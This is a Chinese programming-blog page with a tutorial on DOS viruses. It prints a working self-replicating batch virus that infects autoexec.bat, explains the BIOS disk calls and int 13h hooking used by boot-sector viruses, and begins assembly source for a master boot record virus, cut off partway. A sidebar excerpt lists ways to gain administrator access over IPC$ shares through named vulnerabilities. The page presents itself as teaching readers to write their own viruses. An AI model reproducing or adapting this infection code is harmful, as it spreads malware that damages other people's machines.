当前位置:首页 » 编程博文
开发技术指南» 文章正文
    引言: 第1章 假想的病毒程序 假如您对病毒的了解象人们对尼斯湖怪的了解
 

 

 ·c\c++建立ipc连接之后续操作    »显示摘要«
    摘要:如何建立ipc连接呢?不用我说,大家都知道:   net use \\ip\\ipc$ password /user:user。在这里,我们应想办法得到administrator的权限的帐户和密码,方法有很多:  ⑴流光扫描   ⑵null.printer缓冲区溢出   ⑶ms sql空密码   ⑷unicode漏洞   ⑸远程终端输入法漏洞   ⑹idq.dll漏洞  ……......
 ·获得当前进程所有者的信息    »显示摘要«
    摘要:主要设计代码如下:#include <tlhelp32.h>.......clistctrl m_strlist;cstring m_strvalue;.......//获取当前进程的所有者的信息void ongetuser() {// todo: add your control notification handler code hereupdatedata();if(m_strv......


Dos病毒原理
第1章 假想的病毒程序

【程序编程相关:[原创] 评测Tomcat5负载平衡与集

【推荐阅读:Delphi程序设计规范

【扩展信息:Java JFormattedTextF

假如您对病毒的了解象人们对尼斯湖怪的了解一样少,那么读了下面的程序,你会发现怪?

一个批处理病毒

你第一次用批处理编程序是在几年前?你是否想象过下面的批处理也是一个病毒?

@echo off

rem 文件名 virus.bat

rem 本病毒感染自动执行批处理文件

if drive=="a:\" goto end123

if drive=="c:\" goto end123

if %comspec%=="c:\command.com" set drive=a:\

if %comspec%=="a:\command.com" set drive=c:\

if not exist %drive%autoexec.bat goto end123

copy virus.bat %drive%>nul

echo call virus>tmp.dat

copy %drive%autoexec.bat+tmp.dat>nul

del tmp.dat>nul

: end123

echo on

第2章 学会编写自己的病毒程序

教授如何编写病毒是一个很敏感的话题.这会不会引起病 泛滥?到底有 有学

习编写病毒的必要?这就牵涉到一个问题,引起病 痉豪牡脑 因到底是什么?是

因为会编写病毒的人太多还是因为懂得对付病毒的人太少?当骗子到处横行,我

们到底应该让每个人都懂得骗子行骗的手段以防止受骗还是应该隐瞒骗子的行径

呢?使人们懂法是否是教唆人们违法呢?

怎样编写主引导记录与boot区病毒

什么是主引导记录?主引导记录存放在何处?主引导记录是用来装载硬盘活动分

区的boot扇区的程序.主引导记录存放于硬盘0道0柱面1扇区,长度最大为一个

扇区.从硬盘启动时,bios引导程序将主引导记录装载至0:7c00h处,然后将控

制权交给主引导记录.

一般的,boot区病毒存在于软盘.因为软盘不存在分区,可以将其看成为软盘的

主引导记录.软盘的boot区存在于其0道0面1扇区,长度为一个扇区.

一般的主引导记录病毒的原理.

一般的,这类病毒是把原来的主引导记录保存后用自己的程序替代掉原来的主引

导记录.启动时,当病毒体得到控制权,在做完了自己的处理后,病毒将保存的

原主引导记录读入0:7c00,然后将控制权交给原主引导记录进行启动.这类病毒

对硬盘的感染一般是在用带毒软盘启动的时候,对软盘的感染一般是在当系统带

毒时对软盘操作时.

编写主引导记录病毒需要了解的几点

1.用什么来保存原始主引导记录.

众所周知的,文件型病毒用以保存被感染修改的部分是文件.引导型病毒是否也

可以使用文件存储被覆盖的引导记录呢?答案是否定的.

由于主引导记录病毒先于操作系统执行,因而不能使用操作系统的功能调用,而

只能使用bios的功能调用或者使用直接的io设计.一般的,使用bios的磁盘服务

将主引导记录保存于绝对的扇区内.由于零道零面二扇区是保留扇区,因而通常

使用它来保存.

2.需要掌握的bios磁盘服务功能调用.

int 13h 子功能 02h 读扇区

其调用方法为:

入口为:

ah=02h

al=读入的扇区数

ch=磁道号

cl=扇区号(从1开始)

dh=头号

dl=物理驱动器号

es:bx-->要填充的缓冲区

返回为: 当cf置位时表示调用失败

ah=状态

al=实际读入的扇区数

int 13h 子功能03h写扇区

其调用方法为:

入口为:

ah=03h

al=写入的扇区数

ch=磁道号

cl=扇区号(从1开始)

dh=头号

dl=物理驱动器号

es:bx-->缓冲区

返回为: 当cf置位时表示调用失败

ah=状态

al=实际写入的扇区数

3.这类病毒通过什么来进行感染

通常的,这类病毒通过截获中断向量int 13h 进行系统监控.当存在有关于软盘或硬盘

的磁潭列词保?病毒将检测其是否干净,若尚未感染则感染之.

4.驻留的位置

位置在40h:13h,单位为kb.病毒体存在于最后的几k内存中.

一个主引导记录病毒例子

int13 macro

pushf

call dword ptr cs:old13h

endm

jmp13 macro

jmp dword ptr cs:old13h

endm

.286

code segment

assume cs:code,ds:code

org 100h

start:

org 7c00h

;start:

jmp short begin

db 20h dup (0)

db ´wn´

begin:

xor ax,ax

xor ax,ax

mov es,ax

push word ptr es:[13h*4]

pop word ptr cs:old13h

push word ptr es:[13h*4+2]

pop word ptr cs:old13h+2

mov ah,04h

int 1ah

cmp dl,5

jne datenot1

cmp dh,12h

jne datenot1

call printmsg

datenot1:

push cs

pop ds

mov ax,40h

mov es,ax

dec word ptr es:[13h] ;减少基本内存1k

mov ax,es:[13h]

mov cl,6 ;2&10 /2&4

shl ax,cl ;得到段址

mov es,ax

mov es,ax

mov cx,200h ;512 bytes a sector

mov si,7c00h ;the begin offet

mov di,0

cld

rep movsb

mov ax,es

sub ax,7c0h


...   下一页
    摘要:实现的主要部分代码:#include <setupapi.h>#include <devguid.h>#include <regstr.h>#pragma comment(lib,"setupapi.lib")clistbox m_strlist;........枚举所有硬件设备的主要实现代码: m_strlist.resetcontent(......
» 本期热门文章:

©2000-2007 All Rights Reserved. 最佳浏览:1024X768 MSIE